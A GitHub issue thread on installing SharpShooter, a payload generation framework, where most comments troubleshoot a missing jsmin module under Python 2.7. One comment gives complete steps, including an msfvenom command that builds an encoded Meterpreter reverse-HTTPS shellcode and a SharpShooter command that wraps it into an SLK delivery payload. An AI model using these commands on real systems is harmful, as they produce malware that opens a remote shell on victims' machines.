mdsecactivebreach / SharpShooter

Payload Generation Framework
BSD 3-Clause "New" or "Revised" License
1.8k stars 350 forks source link

installing error #23

Open pretech86 opened 5 years ago

pretech86 commented 5 years ago

when i installed it it said ImportError: No module named jsmin

how can i fix this

ghost commented 5 years ago

pip install -r requirements.txt

pretech86 commented 5 years ago

still the same

ghost commented 5 years ago

How about " pip install jsmin " ?

qing-root commented 5 years ago

I also encountered this mistake,Although I used the "pip install jsmin" command,I was unable to solve the problem。

1nPr0c commented 5 years ago

Try apt install python-jsmin instead.

qing-root commented 5 years ago

Try apt install python-jsmin instead.

thank you! good

mkunz7 commented 3 years ago

I had to grab 2.2.2 from https://pypi.org/project/jsmin/#files and install manually

Valerian7 commented 3 years ago

确保pip属于python2,再安装jsmin

St0rmfly commented 3 years ago

apt purge python3-pip apt purge python-pip curl https://bootstrap.pypa.io/get-pip.py -o /tmp/get-pip.py python3 /tmp/get-pip.py python /tmp/get-pip.py rm /tmp/get-pip.py pip install jsmin

hookthieves commented 3 years ago

apt install -y python-setuptools cd /tmp git clone https://github.com/tikitu/jsmin/ cd jsmin python2 setup.py install

This is a working fix

vafaronaghi commented 3 years ago

I had the same problem python didn't find "jsmin" module

@rebootcuong
your hint helped me to fix this issue for me Thanks

Sinkmanu commented 3 years ago

Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).

Solution:

wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
cd jsmin-2.2.2
sudo python setup.py install
saroyaj commented 2 years ago

Complete Steps (Python 2.7)

# apt install -y python-setuptools
# cd /tmp
# git clone https://github.com/tikitu/jsmin/
# cd jsmin
# python2.7 setup.py install
# cd /opt
# git clone https://github.com/mdsecactivebreach/SharpShooter.git
# cd SharpShooter
# msfvenom -p windows/meterpreter/reverse_https LHOST=x.x.x.x LPORT=4444 -f raw -b '\x00' -e x86/shikata_ga_nai -o shellcode.bin
# python2.7 SharpShooter.py --payload slk --rawscfile shellcode.bin --output test

[!] Shellcode must not contain null bytes
[*] Written delivery payload to output/test.slk
KyserClark commented 1 year ago

None of these solutions worked for me. I can't seem to find a way to get Sharpshooter to work :(

ItsNee commented 1 year ago

Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).

Solution:

wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
cd jsmin-2.2.2
sudo python setup.py install

image

Appreciate the help, 2.2.2 seems to work well. 3.0.1 threw me all sorts of errors! 🙏🙏